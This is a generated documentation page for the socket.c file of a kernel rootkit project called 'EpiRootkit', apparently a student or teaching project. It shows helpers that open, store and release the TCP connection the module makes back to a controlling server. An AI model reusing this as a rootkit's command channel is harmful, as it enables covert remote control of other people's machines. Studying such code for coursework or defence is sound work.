EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
socket.c File Reference
#include "network.h"
Include dependency graph for socket.c:

Go to the source code of this file.

Functions

static DEFINE_MUTEX (worker_socket_lock)
 
struct socket * get_worker_socket (void)
 
struct socket * set_worker_socket (struct socket *s)
 
int close_worker_socket (void)
 
int connect_worker_socket_to_server (struct sockaddr_in *addr)
 

Variables

static struct socket * worker_socket = NULL
 

Function Documentation

◆ close_worker_socket()

int close_worker_socket ( void  )

close_worker_socket - Closes the worker socket. Return: 0 on success, or an error code on failure.

Definition at line 43 of file socket.c.

43 {
44 mutex_lock(&worker_socket_lock);
45 if (worker_socket) {
46 sock_release(worker_socket);
47 worker_socket = NULL;
48 DBG_MSG("close_worker_socket: socket released\n");
49 }
50 mutex_unlock(&worker_socket_lock);
51 return SUCCESS;
52}
#define DBG_MSG(fmt, args...)
Definition config.h:15
#define SUCCESS
Definition config.h:5
static struct socket * worker_socket
Definition socket.c:10

◆ connect_worker_socket_to_server()

int connect_worker_socket_to_server ( struct sockaddr_in *  addr)

connect_worker_socket_to_server - Connects the worker socket to the server.

Parameters
addrThe server address to connect to. Return: 0 on success, or a negative error code on failure.

Definition at line 59 of file socket.c.

59 {
60 int ret;
61 struct socket *s;
62
63 ret = sock_create(AF_INET, SOCK_STREAM, IPPROTO_TCP, &s);
64 if (ret < 0) {
65 ERR_MSG("connect_worker_socket: failed to create socket (ret=%d)\n", ret);
66 return ret;
67 }
68
69 ret = kernel_connect(s, (struct sockaddr *)addr, sizeof(*addr), 0);
70 if (ret < 0) {
71 ERR_MSG("connect_worker_socket: connection failed (ret=%d)\n", ret);
72 sock_release(s);
73 return ret;
74 }
75
77 DBG_MSG("connect_worker_socket: connection successful\n");
78 return SUCCESS;
79}
#define ERR_MSG(fmt, args...)
Definition config.h:16
struct socket * set_worker_socket(struct socket *s)
Definition socket.c:30

◆ DEFINE_MUTEX()

static DEFINE_MUTEX ( worker_socket_lock  )
static

◆ get_worker_socket()

struct socket * get_worker_socket ( void  )

Definition at line 17 of file socket.c.

17 {
18 struct socket *s;
19 mutex_lock(&worker_socket_lock);
20 s = worker_socket;
21 mutex_unlock(&worker_socket_lock);
22 return s;
23}

◆ set_worker_socket()

struct socket * set_worker_socket ( struct socket *  s)

set_worker_socket - Sets the worker socket.

Parameters
sThe socket to set as the worker socket. Return: Pointer to the newly set worker socket.

Definition at line 30 of file socket.c.

30 {
31 mutex_lock(&worker_socket_lock);
32 if (worker_socket)
33 sock_release(worker_socket);
34 worker_socket = s;
35 mutex_unlock(&worker_socket_lock);
36 return worker_socket;
37}

Variable Documentation

◆ worker_socket

struct socket* worker_socket = NULL
static

Definition at line 10 of file socket.c.